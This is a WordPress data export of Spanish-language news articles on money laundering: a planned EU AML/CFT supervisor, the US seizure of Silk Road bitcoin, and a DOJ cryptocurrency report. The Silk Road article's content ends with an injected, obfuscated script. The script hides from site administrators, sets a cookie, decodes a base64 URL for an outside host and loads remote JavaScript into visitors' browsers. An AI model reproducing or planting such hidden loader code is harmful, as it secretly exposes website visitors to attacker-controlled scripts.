sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. 